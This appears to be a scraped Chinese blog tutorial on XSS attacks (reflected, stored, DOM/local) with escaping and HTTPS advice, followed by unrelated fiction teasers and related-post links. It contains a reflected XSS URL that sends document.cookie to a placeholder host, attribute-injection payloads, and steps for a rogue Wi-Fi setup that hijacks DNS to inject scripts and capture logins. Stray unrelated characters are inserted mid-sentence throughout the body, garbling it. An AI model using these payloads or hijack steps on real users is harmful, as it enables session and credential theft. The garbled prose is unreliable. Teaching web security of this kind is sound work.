前端安全之XSS攻擊

XSS(cross-site scripting跨域腳本攻擊)攻擊是最常見的Web攻擊嗜暴,其重點(diǎn)是“跨域”和“客戶端執(zhí)行”。有人將XSS攻擊分為三種拆挥,分別是:

1.?Reflected XSS(基于反射的XSS攻擊)

2.?Stored XSS(基于存儲(chǔ)的XSS攻擊)

3.?DOM-based or local XSS(基于DOM或本地的XSS攻擊)

Reflected XSS

基于反射的XSS攻擊利职,主要依靠站點(diǎn)服務(wù)端返回腳本送膳,在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊。

例子:

1. 做個(gè)假設(shè)吼肥,當(dāng)亞馬遜在搜索書籍录平,搜不到書的時(shí)候顯示提交的名稱。

2. 在搜索框搜索內(nèi)容缀皱,填入“<script>alert('handsome boy')</script>”, 點(diǎn)擊搜索斗这。

3. 當(dāng)前端頁面沒有對(duì)返回的數(shù)據(jù)進(jìn)行過濾,直接顯示在頁面上啤斗, 這時(shí)就會(huì)alert那個(gè)字符串出來涝影。

4. 進(jìn)而可以構(gòu)造獲取用戶cookies的地址,通過QQ群或者垃圾郵件争占,來讓其他人點(diǎn)擊這個(gè)地址:

http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>

PS:這個(gè)地址當(dāng)然是沒效的燃逻,只是舉例子而已。

結(jié)論:

如果只是1臂痕、2伯襟、3步做成功,那也只是自己折騰自己而已握童,如果第4步能做成功姆怪,才是個(gè)像樣的XSS攻擊。

開發(fā)安全措施:

1. 前端在顯示服務(wù)端數(shù)據(jù)時(shí)候,不僅是標(biāo)簽內(nèi)容需要過濾稽揭、轉(zhuǎn)義俺附,就連屬性值也都可能需要。

2. 后端接收請(qǐng)求時(shí)溪掀,驗(yàn)證請(qǐng)求是否為攻擊請(qǐng)求事镣,攻擊則屏蔽。

例如:

標(biāo)簽:

<span><script>alert('handsome boy')</script></span>

轉(zhuǎn)義

<span>&lt;script&gt;alert('handsome boy')&lt;/script&gt</span>

屬性:

如果一個(gè)input的value屬性值是

瑯琊榜" onclick="javascript:alert('handsome boy')

就可能出現(xiàn)

<input type="text" value="瑯琊榜" onclick="javascript:alert('handsome boy')">

點(diǎn)擊input導(dǎo)致攻擊腳本被執(zhí)行揪胃,解決方式可以對(duì)script或者雙引號(hào)進(jìn)行過濾璃哟。

Stored XSS

基于存儲(chǔ)的XSS攻擊,是通過發(fā)表帶有惡意跨域腳本的帖子/文章喊递,從而把惡意腳本存儲(chǔ)在服務(wù)器随闪,每個(gè)訪問該帖子/文章的人就會(huì)觸發(fā)執(zhí)行。

例子:

1. 發(fā)一篇文章骚勘,里面包含了惡意腳本

今天天氣不錯(cuò)邦戆椤!<script>alert('handsome boy')</script>

2. 后端沒有對(duì)文章進(jìn)行過濾俏讹,直接保存文章內(nèi)容到數(shù)據(jù)庫当宴。

3. 當(dāng)其他看這篇文章的時(shí)候,包含的惡意腳本就會(huì)執(zhí)行藐石。

PS:因?yàn)榇蟛糠治恼率潜4嬲麄€(gè)HTML內(nèi)容的即供,前端顯示時(shí)候也不做過濾,就極可能出現(xiàn)這種情況于微。

結(jié)論:

后端盡可能對(duì)提交數(shù)據(jù)做過濾逗嫡,在場(chǎng)景需求而不過濾的情況下,前端就需要做些處理了株依。

開發(fā)安全措施:

1. 首要是服務(wù)端要進(jìn)行過濾驱证,因?yàn)榍岸说男r?yàn)可以被繞過。

2. 當(dāng)服務(wù)端不校驗(yàn)時(shí)候恋腕,前端要以各種方式過濾里面可能的惡意腳本抹锄,例如script標(biāo)簽,將特殊字符轉(zhuǎn)換成HTML編碼荠藤。

DOM-based or local XSS

基于DOM或本地的XSS攻擊伙单。一般是提供一個(gè)免費(fèi)的wifi,但是提供免費(fèi)wifi的網(wǎng)關(guān)會(huì)往你訪問的任何頁面插入一段腳本或者是直接返回一個(gè)釣魚頁面哈肖,從而植入惡意腳本吻育。這種直接存在于頁面,無須經(jīng)過服務(wù)器返回就是基于本地的XSS攻擊淤井。

例子1:

1.?提供一個(gè)免費(fèi)的wifi布疼。

1. 開啟一個(gè)特殊的DNS服務(wù)摊趾,將所有域名都解析到我們的電腦上,并把Wifi的DHCP-DNS設(shè)置為我們的電腦IP游两。

2. 之后連上wifi的用戶打開任何網(wǎng)站砾层,請(qǐng)求都將被我們截取到。我們根據(jù)http頭中的host字段來轉(zhuǎn)發(fā)到真正服務(wù)器上贱案。

3. 收到服務(wù)器返回的數(shù)據(jù)之后肛炮,我們就可以實(shí)現(xiàn)網(wǎng)頁腳本的注入,并返回給用戶轰坊。

4.?當(dāng)注入的腳本被執(zhí)行铸董,用戶的瀏覽器將依次預(yù)加載各大網(wǎng)站的常用腳本庫祟印。

PS:例子和圖片來自肴沫,http://www.cnblogs.com/index-html/p/wifi_hijack_3.html不是我寫的,請(qǐng)注意蕴忆!

這個(gè)其實(shí)就是wifi流量劫持颤芬,中間人可以看到用戶的每一個(gè)請(qǐng)求,可以在頁面嵌入惡意代碼套鹅,使用惡意代碼獲取用戶的信息站蝠,可以返回釣魚頁面。

例子2:

1. 還是提供一個(gè)免費(fèi)wifi

2. 在我們電腦上進(jìn)行抓包

3.?分析數(shù)據(jù)卓鹿,可以獲取用戶的微信朋友圈菱魔、郵箱、社交網(wǎng)站帳號(hào)數(shù)據(jù)(HTTP)等吟孙。

PS:這個(gè)是我的測(cè)試澜倦,在51job頁面登錄時(shí)進(jìn)行抓包,可以獲取帳號(hào)密碼杰妓。

結(jié)論:

這攻擊其實(shí)跟網(wǎng)站本身沒有什么關(guān)系藻治,只是數(shù)據(jù)被中間人獲取了而已,而由于HTTP是明文傳輸?shù)南锘樱允菢O可能被竊取的桩卵。

開發(fā)安全措施:

1. 使用HTTPS!就跟我前面《HTTP與HTTPS握手的那些事》這篇文章說的倍宾,HTTPS會(huì)在請(qǐng)求數(shù)據(jù)之前進(jìn)行一次握手雏节,使得客戶端與服務(wù)端都有一個(gè)私鑰,服務(wù)端用這個(gè)私鑰加密高职,客戶端用這個(gè)私鑰解密钩乍,這樣即使數(shù)據(jù)被人截取了,也是加密后的數(shù)據(jù)初厚。

總結(jié)

XSS攻擊的特點(diǎn)就是:盡一切辦法在目標(biāo)網(wǎng)站上執(zhí)行非目標(biāo)網(wǎng)站上原有的腳本(某篇文章說的)件蚕。本地的XSS攻擊的示例2其實(shí)不算XSS攻擊孙技,只是簡單流量劫持。前兩種XSS攻擊是我們開發(fā)時(shí)候要注意的排作,而流量劫持的則可以使用HTTPS提高安全性牵啦,。


本文為原創(chuàng)文章妄痪,轉(zhuǎn)載請(qǐng)保留原出處哈雏,方便溯源,如有錯(cuò)誤地方衫生,謝謝指正裳瘪。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市罪针,隨后出現(xiàn)的幾起案子彭羹,更是在濱河造成了極大的恐慌,老刑警劉巖泪酱,帶你破解...
    沈念sama閱讀 222,590評(píng)論 6 517
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件派殷,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡墓阀,警方通過查閱死者的電腦和手機(jī)毡惜,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,157評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來斯撮,“玉大人经伙,你說我怎么就攤上這事∥鸸” “怎么了帕膜?”我有些...
    開封第一講書人閱讀 169,301評(píng)論 0 362
  • 文/不壞的土叔 我叫張陵,是天一觀的道長粱甫。 經(jīng)常有香客問我泳叠,道長,這世上最難降的妖魔是什么茶宵? 我笑而不...
    開封第一講書人閱讀 60,078評(píng)論 1 300
  • 正文 為了忘掉前任危纫,我火速辦了婚禮,結(jié)果婚禮上乌庶,老公的妹妹穿的比我還像新娘种蝶。我一直安慰自己,他們只是感情好瞒大,可當(dāng)我...
    茶點(diǎn)故事閱讀 69,082評(píng)論 6 398
  • 文/花漫 我一把揭開白布螃征。 她就那樣靜靜地躺著,像睡著了一般透敌。 火紅的嫁衣襯著肌膚如雪盯滚。 梳的紋絲不亂的頭發(fā)上踢械,一...
    開封第一講書人閱讀 52,682評(píng)論 1 312
  • 那天,我揣著相機(jī)與錄音魄藕,去河邊找鬼内列。 笑死,一個(gè)胖子當(dāng)著我的面吹牛背率,可吹牛的內(nèi)容都是我干的话瞧。 我是一名探鬼主播,決...
    沈念sama閱讀 41,155評(píng)論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼寝姿,長吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼交排!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起饵筑,我...
    開封第一講書人閱讀 40,098評(píng)論 0 277
  • 序言:老撾萬榮一對(duì)情侶失蹤埃篓,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后翻翩,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體都许,經(jīng)...
    沈念sama閱讀 46,638評(píng)論 1 319
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡稻薇,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,701評(píng)論 3 342
  • 正文 我和宋清朗相戀三年嫂冻,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片塞椎。...
    茶點(diǎn)故事閱讀 40,852評(píng)論 1 353
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡桨仿,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出案狠,到底是詐尸還是另有隱情服傍,我是刑警寧澤,帶...
    沈念sama閱讀 36,520評(píng)論 5 351
  • 正文 年R本政府宣布骂铁,位于F島的核電站吹零,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏拉庵。R本人自食惡果不足惜灿椅,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,181評(píng)論 3 335
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望钞支。 院中可真熱鬧茫蛹,春花似錦、人聲如沸烁挟。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,674評(píng)論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽撼嗓。三九已至柬采,卻和暖如春欢唾,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背粉捻。 一陣腳步聲響...
    開封第一講書人閱讀 33,788評(píng)論 1 274
  • 我被黑心中介騙來泰國打工匈辱, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人杀迹。 一個(gè)月前我還...
    沈念sama閱讀 49,279評(píng)論 3 379
  • 正文 我出身青樓亡脸,卻偏偏與公主長得像,于是被迫代替她去往敵國和親树酪。 傳聞我的和親對(duì)象是個(gè)殘疾皇子浅碾,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,851評(píng)論 2 361

推薦閱讀更多精彩內(nèi)容

  • XSS(cross-site scripting跨域腳本攻擊)攻擊是最常見的Web攻擊,其重點(diǎn)是“跨域”和“客戶端...
    一只大橘閱讀 721評(píng)論 0 6
  • XSS攻擊 什么是 XSS Cross-Site Scripting (跨站腳本攻擊)簡稱XSS续语,是一種代碼注入攻...
    CodeMT閱讀 1,265評(píng)論 0 4
  • XSS定義 XSS, 即為(Cross Site Scripting), 中文名為跨站腳本, 是發(fā)生在目標(biāo)用戶的瀏...
    Yixi_Li閱讀 1,402評(píng)論 0 4
  • 回首望自己也做了幾年前端了垂谢,感覺學(xué)習(xí)路線之前都是亂的,沒有體現(xiàn)出層次感疮茄,遇到什么就補(bǔ)什么感覺這樣會(huì)涉及不到很多領(lǐng)域...
    美女收割機(jī)閱讀 372評(píng)論 0 0
  • 前端安全之XSS攻擊 XSS(cross-site scripting跨域腳本攻擊)攻擊是最常見的Web攻擊滥朱,其重...
    raincoco閱讀 608評(píng)論 0 1